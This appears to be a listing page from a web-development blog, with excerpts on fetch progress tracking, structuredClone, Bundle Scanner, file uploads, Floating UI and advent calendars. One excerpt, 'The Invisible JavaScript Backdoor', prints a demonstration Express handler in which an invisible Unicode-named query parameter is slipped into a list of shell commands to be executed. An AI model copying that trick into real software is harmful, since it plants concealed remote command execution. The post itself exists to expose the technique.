Show a Progress Indicator for a Fetch Request with the Streams API

AnthumChris collected some JavaScript scripts to track the progress of fetch requests that download files/data. It works by leveraging the ReadableStream interface from the Streams API. A “simple” example is this: fetch('https://fetch-progress.anthum.com/30kbps/images/sunrise-baseline.jpg') .then(response => { if (!response.ok) { throw Error(response.status+' '+response.statusText) } if (!response.body) { throw Error('ReadableStream not yet supported in this browser.') } // …

Deep-copying in JavaScript using structuredClone

No more hacking around with the inadequate JSON.parse() or bouncing data to a Web Worker in order to deep clone an object, as there’s now structuredClone() For the longest time, you had to resort to workarounds and libraries to create a deep copy of a JavaScript value. The Platform now ships with structuredClone(), a built-in …

Identify which NPM libraries are used on a website with Bundle Scanner

Bundle Scanner identifies which npm libraries are used on any website. It downloads every Javascript file from a URL and searches through the files for code that matches one of the 35,000 most popular npm libraries. The scanning itself works in a pretty ingenious way: When a user requests to scan a website, Bundle Scanner …

10 useful HTML file upload tips for web developers

A bit of an older post, but still relevant: Tapas Adhikary goes over some HTML attributes one can set on an input[type=”file”], and uses of the File API: Simple file upload Multiple file uploads Know about file metadata Know about file accept property Manage file content Validate file size Show file upload progress How about …

Floating UI – Positioning for tooltips, popovers, dropdowns, and more

Floating UI is a low-level library for positioning “floating” elements like tooltips, popovers, dropdowns, menus and more. Floating UI exposes primitives which enable a floating element to be positioned next to a given reference element while appearing in view for the user as best as possible. Features include overflow prevention (or collision awareness), placement flipping, …

The Invisible JavaScript Backdoor

Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor. const express = require(‘express’); const util = require(‘util’); const exec = util.promisify(require(‘child_process’).exec); const app = express(); app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ ]; try { await Promise.all(checkCommands.map(cmd => …

Advent Calendars For Web Designers And Developers

I was planning on posting about the HTMHell Advent Calendar here on bram.us, but over at Smashing Magazine you a whole list of interesting Advent Calendars. Once again, the web community has been busy with creating some fantastic advent calendars this year. As you’ll see, each and every one of these calendars are sure to …